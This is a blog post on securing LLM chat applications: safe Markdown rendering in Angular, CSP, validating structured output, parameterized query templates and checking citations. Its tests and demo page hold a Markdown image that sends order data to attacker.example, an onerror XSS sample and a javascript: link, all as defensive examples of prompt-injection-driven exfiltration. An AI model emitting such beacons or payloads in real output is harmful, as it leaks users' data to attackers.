Mert Özen Further With Every Line
Artificial Intelligence LLM Application Security — #05

LLM Output Is Untrusted Input: Improper Output Handling, Markdown Rendering and Misinformation

Mert Özen Nov 14, 2026 19 min 2 views
LLM Output Is Untrusted Input: Improper Output Handling, Markdown Rendering and Misinformation

Model output is untrusted input like any external input: Angular's sanitizer stops scripts but not a Markdown image pointing to an external address. We write a safe message component with an allowlisting marked renderer and Vitest tests, show CSP img-src cutting off the leak in Chromium, validate structured output against the catalog, limit the model to query template parameters instead of SQL, and measure how a correctly numbered citation can carry a wrong claim.

Version note: The code in this post was built and run with .NET 10 and Angular 22.2, Microsoft.Extensions.AI 11.0.0, OllamaSharp 5.5.2, Microsoft.Data.Sqlite 10.0.15, marked 18.2.0, Vitest 5.1, Playwright 1.65 (Chromium) and, for the local model, Ollama 0.34.4 (gemma3:4b).

Guess First

Bookstore's Angular chat UI receives the assistant's answer as Markdown, turns it into HTML (HyperText Markup Language) with marked and puts it on screen with [innerHTML]. The team is relaxed: Angular sanitizes everything that goes into [innerHTML], and there is no bypassSecurityTrustHtml anywhere. One day the assistant's answer ends like this:

Here is your summary. ![chart](https://attacker.example/pixel.png?d=order-1042-ada)

We know from post 2 who made the model write this line: an instruction in a reader review or on a web page. The question is: does Angular's sanitizer block this image? If not, what lands in attacker.example's log the moment the browser tries to load the image? Nobody clicked the image, nobody downloaded anything.

This post treats the model's output as untrusted input, like any other external input. First we cover LLM10 Improper Output Handling from the LLM Top 10 2026 through Markdown rendering in Angular, CSP and structured output on the backend; then we move to the case where the output is safe but wrong, LLM07 Misinformation.

Output Is Input

The OWASP 2026 document defines LLM10 as model output not being sufficiently validated, sanitized and encoded before it is passed to downstream components. The logic is familiar: since the prompt can control the model's output, using that output directly is like indirectly handing the user new privileges. The consequences are familiar too: XSS (Cross-Site Scripting) in the browser, and SQL injection, SSRF, path traversal and remote code execution on the backend. Everything we covered in the injection posts of the Web Security (OWASP Top 10) series applies here; the only difference is that the input is now written by a model.

The 2026 edition stresses two sinks in particular. The first is terminals, log viewers and IDE panes: ANSI escape sequences in model output can mislead the screen or change clipboard contents; the document recommends stripping these control characters before writing. The second is the opening example: clients that automatically load an image, link preview or iframe mentioned in model output. In that case nobody has to click anything to exfiltrate data; the browser requesting the image is enough. Even though the entry dropped from fifth to tenth in the ranking, its practical weight is high for anyone who writes a chat UI.

What Does Angular's Sanitizer Protect, and What Not?

I wrote the opening team's component as is: marked with default settings and [innerHTML].

import { Component, computed, input } from '@angular/core';
import { marked } from 'marked';

// For comparison: default marked + [innerHTML]
@Component({
  selector: 'app-naive-message',
  template: `<div class="body" [innerHTML]="html()"></div>`,
})
export class NaiveMessage {
  readonly markdown = input.required<string>();

  protected readonly html = computed(() => marked.parse(this.markdown(), { async: false }) as string);
}

I pinned down its behavior with two tests:

import { TestBed } from '@angular/core/testing';
import { AssistantMessage } from './assistant-message';
import { NaiveMessage } from './naive-message';

const exfiltration = 'Here is your summary. ![chart](https://attacker.example/pixel.png?d=order-1042-ada)';

async function render<T>(component: new () => T, inputs: Record<string, unknown>): Promise<HTMLElement> {
  const fixture = TestBed.createComponent(component);
  for (const [name, value] of Object.entries(inputs)) {
    fixture.componentRef.setInput(name, value);
  }
  await fixture.whenStable();
  return fixture.nativeElement as HTMLElement;
}

describe('NaiveMessage', () => {
  it('loads an image from any host the model writes', async () => {
    const el = await render(NaiveMessage, { markdown: exfiltration });
    expect(el.querySelector('img')?.getAttribute('src')).toBe('https://attacker.example/pixel.png?d=order-1042-ada');
  });

  it('relies on the Angular sanitizer, which strips onerror but keeps the element', async () => {
    const el = await render(NaiveMessage, { markdown: 'Hi <img src=x onerror="alert(1)">' });
    expect(el.querySelector('img')?.hasAttribute('onerror')).toBe(false);
  });
});

Both tests pass (the output is below, together with the safe component's tests). The second test shows the sanitizer doing its job: when the model writes an onerror handler in raw HTML, Angular removes the attribute and prints the "sanitizing HTML stripped some content" warning to the console. The first test shows the sanitizer's limit: an <img> pointing to https://attacker.example/pixel.png?d=order-1042-ada is a perfectly legitimate element for Angular. The sanitizer prevents script execution; it does not prevent the browser from sending a request to an address. Instead of order-1042-ada in the query string there could have been a summary of the chat history, an e-mail address or a discount code.

We inventoried the DOM XSS sinks in Angular in post 2 of the Frontend Security series; as we said there, bypassSecurityTrustHtml is never the right answer for model output. Instead of bypassing the sanitizer, the HTML that reaches the sanitizer has to be narrowed from the start.

A Safe Message Component

I changed marked's renderer in three places. Raw HTML written by the model is shown as text, not as an element. An image becomes an <img> only if it comes from an allowed CDN host; otherwise its alt text is written in square brackets. A link is clickable only if it goes to an allowed host over HTTPS; otherwise the label and the full address appear as plain text.

import { Marked, Tokens } from 'marked';

const allowedImageHosts = ['cdn.bookstore.example'];
const allowedLinkHosts = ['bookstore.example', 'cdn.bookstore.example'];

function isAllowed(href: string, hosts: string[]): boolean {
  try {
    const url = new URL(href);
    return url.protocol === 'https:' && hosts.includes(url.hostname);
  } catch {
    return false;
  }
}

function escapeHtml(text: string): string {
  return text.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;');
}

// Model output is untrusted input: raw HTML, external images and unapproved links never become HTML
export const assistantMarkdown = new Marked({
  async: false,
  gfm: true,
  renderer: {
    html({ text }: Tokens.HTML | Tokens.Tag): string {
      return escapeHtml(text);
    },
    image({ href, text }: Tokens.Image): string {
      // Automatically loading an image from an external address is a data exfiltration channel
      return isAllowed(href, allowedImageHosts)
        ? `<img src="${escapeHtml(href)}" alt="${escapeHtml(text)}">`
        : `[image: ${escapeHtml(text)}]`;
    },
    link({ href, tokens }: Tokens.Link): string {
      const label = this.parser.parseInline(tokens);
      // Unapproved links are not clickable; the user sees the full address
      return isAllowed(href, allowedLinkHosts)
        ? `<a href="${escapeHtml(href)}" rel="noopener noreferrer nofollow">${label}</a>`
        : `${label} (${escapeHtml(href)})`;
    },
  },
});

export function renderAssistantMarkdown(markdown: string): string {
  return assistantMarkdown.parse(markdown) as string;
}

The component still puts this function's output on screen with [innerHTML]; Angular's sanitizer stays in place as a second layer. The template carries two extra pieces of information: a label saying every answer is AI generated, and a warning for answers without sources; we come back to these in the LLM07 section.

import { Component, computed, input } from '@angular/core';
import { renderAssistantMarkdown } from './safe-markdown';

@Component({
  selector: 'app-assistant-message',
  template: `
    <article class="assistant-message">
      <p class="badge">AI-generated answer. It may contain mistakes.</p>
      <!-- [innerHTML] goes through Angular's sanitizer; no bypassSecurityTrustHtml -->
      <div class="body" [innerHTML]="html()"></div>
      @if (sources().length > 0) {
        <p class="sources">Sources: @for (id of sources(); track id) { <span>#{{ id }}</span> }</p>
      } @else {
        <p class="unverified">No sources. Check this answer before you act on it.</p>
      }
    </article>
  `,
})
export class AssistantMessage {
  readonly markdown = input.required<string>();
  readonly sources = input<number[]>([]);

  protected readonly html = computed(() => renderAssistantMarkdown(this.markdown()));
}

The tests close every path an attacker would want to use, one by one:

describe('AssistantMessage', () => {
  it('renders normal markdown', async () => {
    const el = await render(AssistantMessage, { markdown: '**Clean Code** costs 480 TL.\n\n- Refactoring\n- Testing' });
    expect(el.querySelector('strong')?.textContent).toBe('Clean Code');
    expect(el.querySelectorAll('li').length).toBe(2);
  });

  it('does not load images from unknown hosts', async () => {
    const el = await render(AssistantMessage, { markdown: exfiltration });
    expect(el.querySelector('img')).toBeNull();
    expect(el.textContent).toContain('[image: chart]');
  });

  it('loads images from the allowlisted CDN', async () => {
    const el = await render(AssistantMessage, { markdown: '![cover](https://cdn.bookstore.example/covers/1.png)' });
    expect(el.querySelector('img')?.getAttribute('src')).toBe('https://cdn.bookstore.example/covers/1.png');
  });

  it('shows raw HTML from the model as text', async () => {
    const el = await render(AssistantMessage, { markdown: 'Hi <img src=x onerror="alert(1)">' });
    expect(el.querySelector('img')).toBeNull();
    expect(el.textContent).toContain('<img src=x onerror="alert(1)">');
  });

  it('does not make javascript: or unknown links clickable', async () => {
    const el = await render(AssistantMessage, {
      markdown: '[help](javascript:alert(1)) and [returns](https://bookstore.example/returns)',
    });
    const links = Array.from(el.querySelectorAll('a')).map(a => a.getAttribute('href'));
    expect(links).toEqual(['https://bookstore.example/returns']);
  });

  it('marks answers without sources as unverified', async () => {
    const el = await render(AssistantMessage, { markdown: 'Gift wrapping is not offered.' });
    expect(el.querySelector('.badge')?.textContent).toContain('AI-generated');
    expect(el.querySelector('.unverified')).not.toBeNull();
  });
});
$ ng test --watch=false --reporters=verbose
stderr | src/app/chat/assistant-message.spec.ts > NaiveMessage > relies on the Angular sanitizer, which strips onerror but keeps the element
WARNING: sanitizing HTML stripped some content, see https://angular.dev/best-practices/security#preventing-cross-site-scripting-xss
 ✓ |bookstore-chat| src/app/chat/assistant-message.spec.ts > NaiveMessage > loads an image from any host the model writes 22ms
 ✓ |bookstore-chat| src/app/chat/assistant-message.spec.ts > NaiveMessage > relies on the Angular sanitizer, which strips onerror but keeps the element 8ms
 ✓ |bookstore-chat| src/app/chat/assistant-message.spec.ts > AssistantMessage > renders normal markdown 7ms
 ✓ |bookstore-chat| src/app/chat/assistant-message.spec.ts > AssistantMessage > does not load images from unknown hosts 3ms
 ✓ |bookstore-chat| src/app/chat/assistant-message.spec.ts > AssistantMessage > loads images from the allowlisted CDN 3ms
 ✓ |bookstore-chat| src/app/chat/assistant-message.spec.ts > AssistantMessage > shows raw HTML from the model as text 3ms
 ✓ |bookstore-chat| src/app/chat/assistant-message.spec.ts > AssistantMessage > does not make javascript: or unknown links clickable 3ms
 ✓ |bookstore-chat| src/app/chat/assistant-message.spec.ts > AssistantMessage > marks answers without sources as unverified 3ms
      Tests  8 passed (8)

Eight tests pass. The naive component loads the external image; the safe component turns the same Markdown into the text [image: chart]. Raw HTML appears on screen as readable text, and neither the javascript: link nor the link to an unapproved host is clickable. The warning on stderr shows the moment the sanitizer removed onerror in the naive test.

This renderer works with an allowlist, not a blocklist; that is a deliberate choice. You cannot keep a list that says "block attacker.example"; tomorrow the model writes another address. The rule "images only from cdn.bookstore.example" leaves out every address the attacker controls automatically.

CSP: The Last Gate for an Image That Gets Past the Renderer

The renderer may have a bug, someone may swap the Markdown library tomorrow, or another team may show the same answer in its own component. That is why the browser needs to be told the same rule. We covered how strict CSP is applied to Angular in post 3 of the Frontend Security series; two directives matter for LLM output here: img-src decides which addresses images may come from, and connect-src decides where fetch and XHR (XMLHttpRequest) requests may go. I served a test page that imitates an answer that got past the sanitizer from ASP.NET Core with this header:

WebApplicationBuilder builder = WebApplication.CreateBuilder(args);
WebApplication app = builder.Build();

// An image or fetch in model output must not carry data out: only our own origin and the CDN
app.Use(async (context, next) =>
{
    context.Response.Headers.ContentSecurityPolicy =
        "default-src 'self'; img-src 'self' https://cdn.bookstore.example; connect-src 'self'";
    await next();
});

// Test page imitating an answer that got past the sanitizer
app.MapGet("/", () => Results.Content("""
    <!doctype html>
    <html><body>
      <p>Here is your summary.</p>
      <img src="https://attacker.example/pixel.png?d=order-1042-ada" alt="chart">
    </body></html>
    """, "text/html"));

app.Run();

I opened the page in Chromium with Playwright and printed the console and the outcome of each request:

import { chromium } from 'playwright';

const browser = await chromium.launch();
const page = await browser.newPage();
page.on('console', m => console.log(`console.${m.type()}: ${m.text()}`));
page.on('requestfailed', r => console.log(`request failed: ${r.url()} (${r.failure()?.errorText})`));
page.on('requestfinished', r => console.log(`request finished: ${r.url()}`));
await page.goto(process.argv[2]);
await page.waitForTimeout(500);
await browser.close();
$ curl -sI http://127.0.0.1:5291/ | grep -i content-security
Content-Security-Policy: default-src 'self'; img-src 'self' https://cdn.bookstore.example; connect-src 'self'

$ node check.mjs http://127.0.0.1:5291/
console.error: Loading the image 'https://attacker.example/pixel.png?d=order-1042-ada' violates the following Content Security Policy directive: "img-src 'self' https://cdn.bookstore.example". The action has been blocked.
request failed: https://attacker.example/pixel.png?d=order-1042-ada (csp)
request finished: http://127.0.0.1:5291/

The browser tried to request the image, but the request failed for a CSP reason; not a single byte went to attacker.example. This layer does not replace the renderer: a CSP violation is still an error, and the user sees a broken image. But it reduces the consequence of a renderer bug from a data leak to a console error. Starting with Content-Security-Policy-Report-Only and watching the violation reports also shows which model answers produce external addresses; that is a good signal for the detection layer from post 2.

Validating Structured Output with Domain Rules

Output is not always text shown on screen. Bookstore's recommendation endpoint asks the model for a list that matches a JSON (JavaScript Object Notation) Schema and shows the result as cards that can be added to the cart. In post 10 of the LLM Fundamentals series we saw how to get schema-conforming answers with GetResponseAsync<T>. Matching the schema does not mean the answer is correct:

using System.ComponentModel;

namespace Bookstore.Assistant;

public sealed record BookRecommendation(
    [property: Description("Catalog id of the book.")] int BookId,
    string Title,
    [property: Description("Price in TL.")] decimal Price,
    string Reason);

public sealed record RecommendationResult(BookRecommendation[] Books);

// An answer that matches the JSON Schema does not necessarily follow the domain rules
public static class RecommendationValidator
{
    public static (List<CatalogBook> Accepted, List<string> Problems) Validate(
        RecommendationResult result, IReadOnlyDictionary<int, CatalogBook> catalog, decimal budget)
    {
        List<CatalogBook> accepted = [];
        List<string> problems = [];
        foreach (BookRecommendation rec in result.Books)
        {
            if (!catalog.TryGetValue(rec.BookId, out CatalogBook? book))
            {
                problems.Add($"book id {rec.BookId} ('{rec.Title}') is not in the catalog");
                continue;
            }
            if (rec.Price != book.Price)
            {
                // The catalog is the only source of price and title; values written by the model are not shown
                problems.Add($"'{book.Title}' price {rec.Price} differs from catalog {book.Price}");
            }
            if (book.Price > budget)
            {
                problems.Add($"'{book.Title}' costs {book.Price}, over the budget of {budget}");
                continue;
            }
            accepted.Add(book);
        }
        return (accepted, problems);
    }
}
ChatResponse<RecommendationResult> response = await chat.GetResponseAsync<RecommendationResult>(
[
    new(ChatRole.System, $"You are the Bookstore assistant. Recommend books only from this catalog:\n{catalogText}"),
    new(ChatRole.User, "Recommend two books about writing clean code, each under 500 TL."),
]);
(List<CatalogBook> accepted, List<string> problems) =
    RecommendationValidator.Validate(response.Result, Catalog.Books, budget: 500m);
$ dotnet run -- recommend 5
run 1: model=1 Clean Code by Robert C. Martin 480 | 6 Testing in Practice by Kim O'Neil 390
       shown=Clean Code 480 TL, Testing in Practice 390 TL
run 2: model=1 Clean Code by Robert C. Martin 480 | 2 Refactoring by Martin Fowler 650
       shown=Clean Code 480 TL
       problem: 'Refactoring' costs 650, over the budget of 500
run 3: model=1 Clean Code by Robert C. Martin 480 | 6 Testing in Practice by Kim O'Neil 390
       shown=Clean Code 480 TL, Testing in Practice 390 TL
run 4: model=1 Clean Code by Robert C. Martin 480 | 6 Testing in Practice by Kim O'Neil 390
       shown=Clean Code 480 TL, Testing in Practice 390 TL
run 5: model=1 Clean Code by Robert C. Martin 480 | 6 Testing in Practice by Kim O'Neil 390
       shown=Clean Code 480 TL, Testing in Practice 390 TL

All five answers matched the schema; the ids and prices were consistent with the catalog. In the second run, however, the model offered the 650 TL Refactoring as an "under 500 TL" recommendation, and the validator dropped it from the list. One more point: the model wrote "Clean Code by Robert C. Martin" in the title field; the title and price shown on the card always come from the catalog, not from what the model wrote. For a field like price the rule is simple: the model may suggest a value, the database is the source. There is also something the validator cannot catch: for the question about "writing clean code", Testing in Practice was recommended in four runs. The book fits the budget and is in the catalog, but its relevance to the question is weak. Relevance is not a domain rule but a quality measure; we leave it to the evaluation tools of post 8.

Don't Let the Model Write SQL: Approved Query Templates

The idea "let the model generate SQL and run it" comes up at some point in every LLM project. One of the 2026 document's LLM10 scenarios is exactly this: a user says "delete all tables" in the chat, and the query the model generates runs without review. At Bookstore I kept the model away from writing SQL; the model only fills in the parameters of an approved query template, and the code runs the query:

using System.ComponentModel;
using Microsoft.Data.Sqlite;

namespace Bookstore.Assistant;

public enum Genre { Any, Programming, Architecture, Testing }

// The model does not write SQL; it only fills the parameters of an approved query template
public sealed record BookSearch(
    [property: Description("Part of the author's name, or null.")] string? Author,
    [property: Description("Maximum price in TL, or null.")] decimal? MaxPrice,
    Genre Genre);

public static class BookSearchQuery
{
    private const string Sql = """
        SELECT id, title, author, price FROM books
        WHERE (@author IS NULL OR author LIKE '%' || @author || '%')
          AND (@maxPrice IS NULL OR price <= @maxPrice)
          AND (@genre = 'Any' OR genre = @genre)
        ORDER BY price
        LIMIT 5
        """;

    public static List<string> Run(SqliteConnection connection, BookSearch search)
    {
        // Values filled in by the model are input too: range and length checks
        if (search.Author is { Length: > 60 } || search.MaxPrice is < 0 or > 10_000)
        {
            throw new ArgumentOutOfRangeException(nameof(search), "Search parameters are out of the allowed range.");
        }

        using SqliteCommand command = connection.CreateCommand();
        command.CommandText = Sql;
        command.Parameters.AddWithValue("@author", (object?)search.Author ?? DBNull.Value);
        command.Parameters.AddWithValue("@maxPrice", (object?)search.MaxPrice ?? DBNull.Value);
        command.Parameters.AddWithValue("@genre", search.Genre.ToString());

        List<string> rows = [];
        using SqliteDataReader reader = command.ExecuteReader();
        while (reader.Read())
        {
            rows.Add($"{reader.GetInt32(0)} {reader.GetString(1)} by {reader.GetString(2)}, {reader.GetDecimal(3)} TL");
        }
        return rows;
    }
}
ChatResponse<BookSearch> response = await chat.GetResponseAsync<BookSearch>(
[
    new(ChatRole.System, "Turn the customer's question into a book search. Use null when a field is not mentioned."),
    new(ChatRole.User, question),
]);
BookSearch search = response.Result;
Console.WriteLine($"{question}\n  search: {search}");
foreach (string row in BookSearchQuery.Run(connection, search))
{
    Console.WriteLine($"  {row}");
}
$ dotnet run -- search
Do you have books by O'Neil under 400 TL?
  search: BookSearch { Author = O'Neil, MaxPrice = 400, Genre = Testing }
  6 Testing in Practice by Kim O'Neil, 390 TL
Programming books under 500 TL please.
  search: BookSearch { Author = , MaxPrice = 500, Genre = Programming }
  1 Clean Code by Robert C. Martin, 480 TL

The apostrophe in the author's name broke nothing; the value is a parameter and never enters the SQL text. The only thing the model does is fill in the fields of BookSearch; LIMIT 5, the table name and the columns are fixed in code. This approach is the query-side counterpart of post 4's rule against open-ended tools.

There is one more detail in the output: in the first question the customer did not mention a genre, yet the model filled in Genre = Testing. Because O'Neil's book really is a testing book, the result happened to be right; for another author the same invented filter could hide the right book. A parameterized query closes injection; it does not stop the model from choosing a wrong parameter. That is why showing the user which filters were used ("Testing, under 400 TL") and letting them change the filter is a good UI decision.

LLM07 Misinformation: Safe but Wrong Output

Everything so far has been about stopping the output from doing something harmful. LLM07 asks another question: what if the output is safe but wrong? The 2026 document defines this entry as wrong, incomplete or unsupported information that looks credible enough to influence a human decision, an automated workflow or an agent action. According to the document's project leads, the incident data puts this entry much higher than where the practitioner vote placed it; that is also why it moved up to seventh in the final ranking.

We covered why hallucination happens and how to measure it in post 15 of the LLM Fundamentals series. Here I look at the defense on the output side: the answer cites sources, and code checks whether the cited source really is in the context.

using System.ComponentModel;

namespace Bookstore.Assistant;

public sealed record PolicySnippet(int Id, string Text);

public sealed record CitedAnswer(
    string Answer,
    [property: Description("Ids of the policy snippets that support the answer.")] int[] SourceIds);

// The model may say "source #2"; code checks whether that source really is in the context
public static class CitationCheck
{
    public static string Verdict(CitedAnswer answer, IReadOnlyCollection<PolicySnippet> context)
    {
        if (answer.SourceIds.Length == 0)
        {
            return "no sources: show as unverified";
        }
        int[] unknown = answer.SourceIds.Where(id => context.All(s => s.Id != id)).ToArray();
        return unknown.Length == 0
            ? $"sources ok: {string.Join(", ", answer.SourceIds)}"
            : $"cites unknown sources {string.Join(", ", unknown)}: show as unverified";
    }
}
PolicySnippet[] context =
[
    new(1, "Printed books can be returned within 30 days of delivery if they are unused."),
    new(2, "E-books can be refunded within 14 days of purchase if they have not been downloaded."),
    new(3, "Shipping is free for orders over 750 TL."),
];
string contextText = string.Join("\n", context.Select(s => $"[{s.Id}] {s.Text}"));
ChatResponse<CitedAnswer> response = await chat.GetResponseAsync<CitedAnswer>(
[
    new(ChatRole.System, $"Answer using only these policy snippets and cite their ids:\n{contextText}"),
    new(ChatRole.User, args.Length > 2 ? args[2] : "I bought an e-book 10 days ago and already downloaded it. Can I get a refund?"),
]);
Console.WriteLine($"run {i}: {CitationCheck.Verdict(response.Result, context)} | {response.Result.Answer.ReplaceLineEndings(" ")}");
$ dotnet run -- cite 5
run 1: sources ok: 2 | No, you cannot get a refund. According to policy [2], e-books can only be refunded within 14 days of purchase if they have not been downloaded.
run 2: sources ok: 2 | No, you cannot get a refund. According to policy [2], e-books can only be refunded within 14 days of purchase if they have not been downloaded.
# runs 3-5 had the same source and the same answer

$ dotnet run -- cite 5 "Do you offer gift wrapping for printed books?"
run 1: sources ok: 1 | No, printed books can be returned within 30 days of delivery if they are unused.
run 2: sources ok: 1 | No, gift wrapping is not offered for printed books. Policy [1] states that printed books can be returned within 30 days of delivery if they are unused.
run 3: sources ok: 1 | No, printed books can be returned within 30 days of delivery if they are unused. [1]
run 4: sources ok: 1 | No, gift wrapping is not offered for printed books. Policy [1] states that printed books can be returned within 30 days of delivery if they are unused.
run 5: sources ok: 1 | No, printed books can be returned within 30 days of delivery if they are unused. [1]

In the first question all is well: the answer is right and the source is right. The second question is about a topic that never appears in the policy texts, gift wrapping. The model started with "No" in all five runs; in two of them it plainly said "gift wrapping is not offered" and cited the return policy as its source. Our check said "sources ok", because source 1 really was in the context. A cited source does not mean the claim is written in that source. An id check catches an invented source number; catching a claim that contradicts or is absent from the source requires a groundedness evaluation, which we build in post 8.

That is why the two small elements in the UI matter. The label "AI-generated answer. It may contain mistakes." reminds the user what the answer rests on; the warning on answers without sources asks the user to check before acting on that answer. One of the 2026 document's recommendations is to distinguish verified facts from assumptions; not showing sourced and unsourced answers with the same visual weight is the simplest form of that. Critical decisions should stay with a human, not the model: approving a refund, a price exception, closing a customer's account. The preview and approval flow in post 4 was the backend side of this.

Production Notes

List every place the model's output goes: the screen, an e-mail template, a PDF, logs, another service, another agent. Each needs its own encoding or validation rule; what is right for HTML may not be enough for an e-mail header or a terminal.

Start CSP in Report-Only mode and watch the violations. If you start seeing unexpected external addresses in model answers, that is one of the earliest signs of an injection attempt or a poisoned document.

Keep domain validation of structured output inside the endpoint, not in the prompt. The sentence "don't recommend books over budget" can live in the prompt too, but what enforces the rule is RecommendationValidator; the second run showed why that is needed.

Count answers rejected by the validator and answers without sources as metrics. How these rates change from one model version to the next should be among the first numbers you look at when moving to a new version.

Common Pitfalls

First, treating Angular's sanitizer as enough for LLM output. The sanitizer prevents script execution; it does not prevent image, link or CSS requests to an external address. The naive component above showed exactly that.

Second, reaching for bypassSecurityTrustHtml or an external "safe HTML" pipe to "make rendering easier". Model output is never trusted HTML.

Third, mistaking JSON Schema for validation. A schema checks the shape; it does not check whether an id exists, whether a price is right, or whether the user may access that record.

Fourth, mistaking citations for correctness. The gift wrapping example showed that a source cited with the right number can carry a wrong claim.

A Small Experiment

★☆☆ For unapproved links, add a small <code> format to the assistantMarkdown renderer that shows the address to the user and makes it easy to copy. Write the test first.

★★☆ Add a rule to RecommendationValidator: don't recommend a book the user has already bought. Take the purchase history from CurrentUser, not from the model's arguments.

★★★ Add a simple groundedness check to CitationCheck: give the answer and the cited source text to a second model call and ask for a structured answer to "is this claim written in this text?". How many of the gift wrapping runs does it catch? Does it raise false alarms?

So far we have looked at the model's input, the privileges in its hands and its output. In the next post we move to the supply chain: where the downloaded model and the provider's model version come from, poisoning of ingestion data and the vector store's own weaknesses; LLM04, LLM05 and LLM09.